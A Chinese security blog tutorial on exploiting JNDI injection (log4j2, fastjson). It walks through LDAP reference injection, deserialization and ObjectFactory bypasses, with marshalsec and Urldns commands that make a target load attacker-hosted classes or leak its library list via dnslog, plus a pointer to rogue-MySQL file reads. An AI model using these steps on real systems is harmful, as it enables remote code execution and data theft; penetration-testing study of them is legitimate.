到底如何利用JNDI?

admin 2023年2月21日12:50:47评论116 views字数 2193阅读7分18秒阅读模式

在log4j2漏洞之后很多人常常可以借助扫描器发现JNDI漏洞,却对利用JNDI感到很棘手,这篇文章就从实际出发,尽量少的讲原理,一步一步教你如何利用JNDI漏洞。


首先,JNDI分两种协议,一种rmi,一种ldap,在绝大部分情况下,ldap可以完美覆盖rmi,因此你可以无视rmi直接用ldap。

使用ldap,也分三种情况。

一种是jndi注入,需要被攻击者A,访问VPS上的ldap服务,然后ldap服务要求被攻击者A访问并加载一个http服务上的class。这种情况受着JDK版本限制(最低JDK11.0.1/8u191/7u201/6u211)

一种是ldap反序列化,需要被攻击者A,访问VPS上的ldap服务,然后ldap服务传输序列化payload,要求被攻击者A去进行反序列化。这种情况需要反序列化链

一种是ldap工厂类绕过,和反序列化过程几乎一样,不同的是反序列化链换成了ObjectFactory链。


我们在测试JNDI漏洞时,第一要求就是ldap协议出网,ldap协议不出网是绝对无法完成漏洞利用的。对log4j2来说,不出网还可以用dnslog带出敏感信息,对fastjson来说,也有不出网的利用方法,但对JNDI的利用来说,必须得出网。

判断是否出网很简单,用rmi协议会非常直观(当然ldap也可以),比如我在本地上搭了个log4j2漏洞环境。

到底如何利用JNDI?


一、JNDI注入

确定出网后,就可以尝试JNDI注入。如果我们能获取对方的JDK版本,直接对比就行了,比如log4j2就可以利用dnslog或者ldap来获取JDK版本。

到底如何利用JNDI?

如果不能,就要盲打,可以用任意一个JNDI工具尝试盲打,比如marshalsec。

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:5667/#Exploit" 1389

然后监听5667,如果收到http请求证明可以JNDI注入。

到底如何利用JNDI?

再深入利用就是将5667端口上的class换成命令执行或者内存马的恶意类。因为需要临时制作恶意类,还需要开ldap和http两个端口,比较麻烦,所以现在很多JNDI工具都集成了JNDI注入功能,大家自己搜。

https://github.com/search?q=jndi


二、反序列化绕过

但是绝大部分时候都是高版本JDK,我们只能寻求绕过方法。第一种是反序列化绕过,要求对方有反序列化链。

这种情况就只需要一个ldap服务,上述的JNDI工具也集成了此功能,但是对于反序列化链的寻找,就需要用到Urldns进行探测。

https://github.com/kezibei/Urldns

我们需要找到一个可以显示很多条dnslog的网站。

https://dig.pm/

java -jar Urldns.jar ldap all xxx.dnslog.cn

发起jndi攻击,效果如下

到底如何利用JNDI?

68多条,很多重复的,在web中显示不全,在burp中查看所有记录。

到底如何利用JNDI?

如果自建dnslog平台可以写个小脚本提取一下,我这里就手工提取比较重要的信息。

cc31or321.c2424831.logplog.eu.orgcb19x.c2424831.logplog.eu.orgjavax_el_ELProcessor.c2424831.logplog.eu.orgcc322.c2424831.logplog.eu.orgorg_yaml_snakeyaml_Yaml.c2424831.logplog.eu.orgbecl.c2424831.logplog.eu.orgwindows.c2424831.logplog.eu.orgcom_mysql_jdbc_Driver.c2424831.logplog.eu.orgcom_zaxxer_hikari_HikariJNDIFactory.c2424831.logplog.eu.orgorg_apache_naming_factory_BeanFactory.c2424831.logplog.eu.org

只关注反序列化链,有cb19x,有cc31or321和cc322,高版本覆盖低版本,因此cc322没有反序列化链漏洞,能利用的唯一链就是cb19x。

那么就需要用JNDI工具进行JNDI bypass,我自己写了一个,大家用网上的就行。注意commons-beanutils版本依赖。

到底如何利用JNDI?


三、ObjectFactory绕过

和反序列化绕过类似,只要被攻击者有对应的依赖就行,长期以来一直用的是javax.el.ELProcessor和org.apache.naming.factory.BeanFactory组合。但浅蓝挖掘了更多的可能性。

http://www.b1ue.cn/archives/529.html

我们用Urldns探测之后发现也发现了ELProcessor和BeanFactory,那么可以如图。

到底如何利用JNDI?

还可以发现HikariJNDIFactory和mysql的组合,mysql jdbc可以反序列化(无意义)和任意文件读取。如下图,利用jndi工具和rogue_mysql_server.py实现任意文件读取。

到底如何利用JNDI?



原文始发于微信公众号(珂技知识分享):到底如何利用JNDI?

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年2月21日12:50:47
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   到底如何利用JNDI?http://cn-sec.com/archives/1270752.html

发表评论

匿名网友 填写信息